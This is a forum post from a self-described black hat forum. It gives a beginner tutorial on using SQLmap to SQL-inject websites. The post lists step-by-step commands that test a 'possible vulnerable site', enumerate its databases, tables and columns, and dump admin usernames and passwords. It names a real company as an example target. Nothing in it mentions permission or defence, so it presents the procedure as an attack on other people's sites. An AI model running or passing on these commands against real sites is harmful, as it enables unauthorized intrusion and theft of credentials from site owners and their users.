Best Black Hat Forum

Full Version: [TUT]How to SQL Inject with SQLmap [TUT]
You're currently viewing a stripped down version of our content. View the full version with proper formatting.
Hey guys,

So today I will be teaching you guys on how to SQL inject via SQLmap. This is also my first tutorial so it may not be the best.

--

Alright, so lets begin learning.

I recommend you use this on a Linux distro because I'm not quite sure whether or not this works on Windows. Personally, I'm on Ubuntu. 

Alright, so now you obviously need SQLmap which can be downloaded from
 here

You also need python installed which you can get by doingCode:
Code:
sudo apt-get install python

After you've downloaded it, go to the directory where it's saved.
In my case:
Code:
Code:
cd Downloads/sqlmap


Once you're in that directory, we must find a possible vulnerable site. 
Now that you have one, we are going to test it with the following code:
Code:
Code:
python sqlmap.py -u TARGETSITE
Change "TARGETSITE" to the URL of your site. 

After you find out it's vulnerable, do:
Code:
Code:
python sqlmap.py -u TARGETSITE --dbs

This will display all the database names. You'll see "information_schema" among the database names; just ignore that and choose another one. The database name is usually in reference or has similar wording as the site. For example, if I was attacking Pizzahut, a possible database name could be pizzahut_pizzahut.

Now once you've found the database name, you'd need to view the tables, so do:
Code:
Code:
python sqlmap.py -u TARGETSITE -D site_db --tables

This will display all the tables of the database. Now your job is to figure out which contains the information you want, such as the admin pass/user. 

So once you've found the tables, for example, containing the Admin information, do:
Code:
Code:
python sqlmap.py -u TARGETSITE -D database_name -T admintable --columns

With that, you've received all the columns. Now you want to see the information in that column, so type in:Code:
Code:
python sqlmap.py -u TARGETSITE -D database_name -T admintable -C  columnname --dump

And there we have it, we have gotten all the info [Image: yeye.gif]

Please comment or PM me if you have questions. I'd be happy to assist you.